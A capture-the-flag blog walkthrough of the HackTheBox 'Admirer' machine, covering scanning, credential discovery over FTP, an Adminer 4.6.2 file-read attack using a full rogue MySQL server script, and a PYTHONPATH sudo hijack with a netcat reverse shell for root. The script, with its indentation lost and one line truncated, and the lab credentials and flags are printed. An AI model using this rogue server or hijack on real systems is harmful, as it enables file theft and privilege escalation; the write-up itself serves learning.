[hackthebox]Admirer

ad1

this machine is rated as easy, but in actual fact it should be medium according to the perspective of my skill level, nonetheless I have learned some useful things about this hack.

nmap enumeration

nmap -A -T4 -p- -oN admirer -vvv -Pn 10.10.10.187
the results present three ports:

Nmap scan report for 10.10.10.187
Host is up, received user-set (0.18s latency).
Scanned at 2020-05-04 09:12:32 +08 for 5172s
Not shown: 54907 closed ports, 10625 filtered ports
Reason: 54907 conn-refused and 10625 no-responses
PORT   STATE SERVICE REASON  VERSION
21/tcp open  ftp     syn-ack vsftpd 3.0.3
22/tcp open  ssh     syn-ack OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaQHjxkc8zeXPgI5C7066uFJaB6EjvTGDEwbfl0cwM95npP9G8icv1F/YQgKxqqcGzl+pVaAybRnQxiZkrZHbnJlMzUzNTxxI5cy+7W0dRZN4VH4YjkXFrZRw6dx/5L1wP4qLtdQ0tLHmgzwJZO+111mrAGXMt0G+SCnQ30U7vp95EtIC0gbiGDx0dDVgMeg43+LkzWG+Nj+mQ5KCQBjDLFaZXwCp5Pqfrpf3AmERjoFHIE8Df4QO3lKT9Ov1HWcnfFuqSH/pl5+m83ecQGS1uxAaokNfn9Nkg12dZP1JSk+Tt28VrpOZDKhVvAQhXWONMTyuRJmVg/hnrSfxTwbM9
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHgxoAB6NHTQnBo+/MqdfMsEet9jVzP94okTOAWWMpWkWkT+X4EEWRzlxZKwb/dnt99LS8WNZkR0P9HQxMcIII=
|   256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqp21lADoWZ+184z0m9zCpORbmmngq+h498H9JVf7kP
80/tcp open  http    syn-ack Apache httpd 2.4.25 ((Debian))
| http-methods:
|_  Supported Methods: GET OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Web fuzzing

I did the gobuster to search for directories with directory-list-2.3-medium.txt but did not return any useful directories, then I use dirbuster to search for php with the same wordlist and I could not see anything useful too, then i search txt, perhaps the machine was fuzzed by too many people and each person may use too many threads to fuzz hence my dirbuster result got timeout several times.

The key to success is to try all available wordlists but I did not do that, great patience is required to get the correct clues.

Eventually I used nikto to check for possible vulnerability and I found a robots.txt, robots.txt is used to tell search engine not to crawl the directory specified within robots.txt.
nikto -host http://10.10.10.187
ad2

the robots.txt revealed there is a directory /admin-dir
ad3

I cannot access the directory, but the clue clearly states there are two things within the directory – creds and contacts.
ad4

So I made some guesses.
contacts.txt:
ad5

credentials.txt:
ad6

So I found some credentials, after exploring the machine I realized all except for the ftpuser are rabbit holes.

Download contents from ftp

The ftp credentials:
username: ftpuser
password: %n?4Wz}R$tTF7

Logon to ftp and download all contents.
ad7

Finding clues from downloaded contents

the dump.sql contains sql commands for table creation and its specification there is nothing much to learn from except I learn that the database name is admirerdb and it has one table – items.

tar xzvf html.tar.gz a set of web files are extracted, I recommend to extract the contents in a new sub directory so as not to mix up with other files downloaded during the exploration.

The web structure

With tree I can see the actual structure of the web.
tree -C
ad8ad9ad10ad11

I opened up robots.txt, there is a difference with the current robots.txt
ad12
This gives me a hint that this html.tar.gz I downloaded could be a development web before going to production, the directory /w4ld0s_s3cr3t_d1r could not be found within the production web.
ad13

After reading the files, I found that the contents within the utility-scripts directory has more interesting information.
the db_admin.php contains credential to the database.
ad14

the admin_tasks.php contains bash functions, however only 3 out of 7 can be used, from 4 to 7 are disabled due to privilege issue.

the info.php is a phpinfo() function.

then on the web root index.php reveals another database credential.
ad15

So there are two database credentials which one is a valid one?

Explore the production web

Base on the web structure I go over to the production web and see if the path exists.
/utility-scripts/admin_tasks.php
ad16
I wasted a lot of hours in this, as I was using php wrapper techniques to try to do local / remote file inclusion but all failed, it turned out later that the efforts were all futile.

/utility-scripts/info.php
The most useful information I find is the document root of the current web, and its user.
ad17

I tried to use the credentials I found to connect via ssh as waldo but I failed, then I use hydra with the users and passwords I found to see if any username and password can connect to ssh.
hydra -L userlist.txt -P passlist.txt 10.10.10.187 ssh
ad18
It turned out that ftpuser is accepted by ssh, but this is a rabbit hole, although the authentication is accepted by ssh there is no shell created and hence the connection is closed.
ad19

So I was stucked and got help, and someone in the forum suggested me to check the /utility-scripts, so I ran dirbuster with the same wordlist with php as extension but I could only find info.php and admin_tasks.php, only after I got user then I realized the intention was to try different wordlists to enumerate patience is expected to complete the task, but I did not try another wordlist… so I read the forum and found two members mentioned that the name of the machine itself is a big hint…

So I went over to duckduckgo and search and eventually I found adminer which is a database php admin interface similar to phpmyadmin (adminer and admirer sounds similar?).

So I made another guess http://10.10.10.187/utility-scripts/adminer.php
ad20

So I tried the database credentials I found earlier but I could not logon.
ad21

Exploit adminer vulnerability due to mysql flaw

So I search the web for adminer version 4.6.2 vulnerability.
I found this https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
, then later I found this https://sansec.io/research/sites-hacked-via-mysql-protocal-flaw which leads me to download a rogue mysql server.

The articles explain that it is possible to do data exfiltration with its flaw.

To do this I need to run the rogue mysql server and specify the file I need to download, then from the adminer logon page I put the address of my attacking machine then put any username and password, then with wireshark I got the contents of the file.

Step 1:
Modify the file list I wish to get.
below is the entire code.

#!/usr/bin/env python
#coding: utf8

import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
#'/etc/passwd',
#'/proc/self/environ',
#'/var/www/html/utility-scripts/adminer.php',
'/var/www/html/index.php',
'/var/www/html/utility-scripts/db_admin.php',
'/var/www/html/utility-scripts/admin_tasks.php'
)

#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)

class LastPacket(Exception):
pass

class OutOfOrder(Exception):
pass

class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct(' 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)

class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a',  # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
))            )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()

class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)

z = mysql_listener()
# daemonize()
asyncore.loop()

Setup and wait for connection python rogue_mysqlserver.py

Step 2:
Start my wireshark and filter by mysql.
ad22

Step 3:
Logon from the production adminer portal. The only thing matters is the server, and Mysql is selected (The production database is a mariadb database which is the same as mysql) the rest are arbitary.
ad23

Locate the stream and follow the stream I will get what I need – the production index.php
ad24
Notice the password is different!

The password found in backup index.php: ]F7jLHw:*G>UPrTo}~A"d6b
the password in the production index.php:
ad34

Get the user flag

The real password can be used to logon to adminer and to ssh as well.
ad25
ad26

I was really relieved that there was no more twist for getting the user.
the user flag: 3df453b1a523f3f67a069ad7c4f73d33

Looking for clues to get root

Without the technical know how getting root is quite difficult, I learned something from this hack.

What is waldo’s sudo privilege

ad27
Waldo is also a member of admins group.
ad28

Waldo has one sudoer privilege which is to run /opt/scripts/admin_tasks.sh with preserved environment variable (SETENV), meaning waldo can run this sudo PATH=/path/to/my/script /opt/scripts/admin_sh 6.

Understand the admin_tasks.sh

The privilege allows member of admins to read and execute.
ad29

The source code of admin_tasks.sh looks like this:

#!/bin/bash

view_uptime()
{
/usr/bin/uptime -p
}

view_users()
{
/usr/bin/w
}

view_crontab()
{
/usr/bin/crontab -l
}

backup_passwd()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/passwd to /var/backups/passwd.bak..."
/bin/cp /etc/passwd /var/backups/passwd.bak
/bin/chown root:root /var/backups/passwd.bak
/bin/chmod 600 /var/backups/passwd.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_shadow()
{
if [ "$EUID" -eq 0 ]
then
echo "Backing up /etc/shadow to /var/backups/shadow.bak..."
/bin/cp /etc/shadow /var/backups/shadow.bak
/bin/chown root:shadow /var/backups/shadow.bak
/bin/chmod 600 /var/backups/shadow.bak
echo "Done."
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_web()
{
if [ "$EUID" -eq 0 ]
then
echo "Running backup script in the background, it might take a while..."
/opt/scripts/backup.py &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

backup_db()
{
if [ "$EUID" -eq 0 ]
then
echo "Running mysqldump in the background, it may take a while..."
#/usr/bin/mysqldump -u root admirerdb > /srv/ftp/dump.sql &
/usr/bin/mysqldump -u root admirerdb > /var/backups/dump.sql &
else
echo "Insufficient privileges to perform the selected operation."
fi
}

# Non-interactive way, to be used by the web interface
if [ $# -eq 1 ]
then
option=$1
case $option in
1) view_uptime ;;
2) view_users ;;
3) view_crontab ;;
4) backup_passwd ;;
5) backup_shadow ;;
6) backup_web ;;
7) backup_db ;;

*) echo "Unknown option." >&2
esac

exit 0
fi

# Interactive way, to be called from the command line
options=("View system uptime"
"View logged in users"
"View crontab"
"Backup passwd file"
"Backup shadow file"
"Backup web data"
"Backup DB"
"Quit")

echo
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
case $REPLY in
1) view_uptime ; break ;;
2) view_users ; break ;;
3) view_crontab ; break ;;
4) backup_passwd ; break ;;
5) backup_shadow ; break ;;
6) backup_web ; break ;;
7) backup_db ; break ;;
8) echo "Bye!" ; break ;;

*) echo "Unknown option." >&2
esac
done

exit 0

Option number 6 which tar and zip the web site uses a python script.

Understand the backup.py

Member of admins can only read the python script, meaning waldo cannot execute it directly nor can waldo modify the script, waldo can only read it.
ad30
The source code of backup.py:

#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

There is a chance to impersonate shutil because SETENV is given to waldo meaning I can run this sudo PYTHONPATH=/path/to/faked/shutil.py /opt/scripts/admin_tasks.sh 6

https://stackoverflow.com/questions/8633461/how-to-keep-environment-variables-when-using-sudo has a good discussion on how to keep environment variables with sudo, it is not possible to make the impersonate shutil to work if I export the PYTHONPATH then run sudo /opt/scripts/admin_tasks.sh because I only exported the path to waldo not root. By running sudo PYTHONPATH=/path/to/faked/shutil.py /opt/scripts/admin_tasks.sh 6 PYTHONPATH changes for root and the script will refer to the PYTHONPATH for shutil.

Privilege escalation

On my attacker machine:
nc -lvnp 4444

On Admirer:
ad31

then run sudo PYTHONPATH=/tmp/test /opt/scripts/admin_tasks.sh 6
ad32

On my attacker machine I got a reverse connection and I go to root.txt.
ad33
root.txt: 1d0474a8fdbbddc5a41e942f688514c4

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s